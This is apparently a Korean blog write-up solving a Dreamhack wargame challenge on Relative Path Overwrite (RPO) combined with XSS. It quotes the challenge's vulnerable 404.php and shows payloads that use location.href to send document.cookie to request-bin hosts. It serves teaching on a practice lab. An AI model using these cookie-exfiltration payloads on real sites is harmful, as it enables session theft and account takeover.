문제 정보
https://dreamhack.io/wargame/challenges/440
풀이
전에 풀었던 RPO 문제의 Advanced 문제이다. 먼저 flag 값이 어디있는지 확인해보면 RPO 문제와 동일하게 사용자의 쿠키 값에 flag 값을 저장한다는 것을 볼 수 있다.
def check_xss(path, cookie={'name': 'name', 'value': 'value'}):
url = f'http://127.0.0.1/{path}'
return read_url(url, cookie)
if not check_xss(path, {'name': 'flag', 'value': FLAG.strip()}):
print('<script>alert("wrong??");history.go(-1);</script>')
else:
print('<script>alert("good");history.go(-1);</script>')
전과 다른 점은 Vuln page에 들어가면 nope!! 라는 문구가 나온다. 그리고 404.php 라는 php파일이 문제에 하나 더 있었고 소스 코드는 아래와 같다. vuln 페이지에 들어가면 nope !!라는 문구만 나와 RPO 취약점을 이용해 전처럼 index.php를 경로에 추가하는 것이 아닌 404.php를 추가했다.
<?php
header("HTTP/1.1 200 OK");
echo $_SERVER["REQUEST_URI"] . " not found.";
?>
404.php를 경로에 넣고 요청하니 404.php에 있는 소스 코드가 요청된 것을 확인할 수 있었다. 따라서 param의 파라미터 값이 dreamhack 이어서 이를 지우고 script, alert, on, ', ", <, >, (, ) 의 문자들을 넣고 확인해 본 결과, 특수문자들은 url 인코딩이 되어 있고 script alert on은 잘 출력되는 것을 확인할 수 있었다.
따라서 404.php로 report에 요청하면 되겠구나 생각해서 아래와 같이 요청을 보냈는데 이게 아니었다.
404.php/?page=vuln¶m=<img src='x' onerror=location.href="https://sjhoifc.request.dreamhack.games/?"+document.cookie>
이 부분에서 삽질을 좀 하다가 강의에서 배운 것과 같이 ; 와 //의 특수문자를 이용해서 vuln 페이지에서 alert를 시도하였더니 성공하였다.
따라서 report 페이지에서 location.href를 이용해서 사용자의 쿠키 값을 request bin에 요청하면 flag 값을 얻을 수 있다.
index.php/;location.href='https://oiizraj.request.dreamhack.games/'+document.cookie;//?page=vuln
'Web Hacking > Dreamhack 풀이' 카테고리의 다른 글
DOM XSS (1) | 2024.01.04 |
---|---|
Relative Path Overwrite (1) | 2024.01.02 |
Addition calculator (0) | 2023.12.24 |
CSS Injection 풀이 (0) | 2023.07.01 |
Client Side Template Injection 풀이 (0) | 2023.06.26 |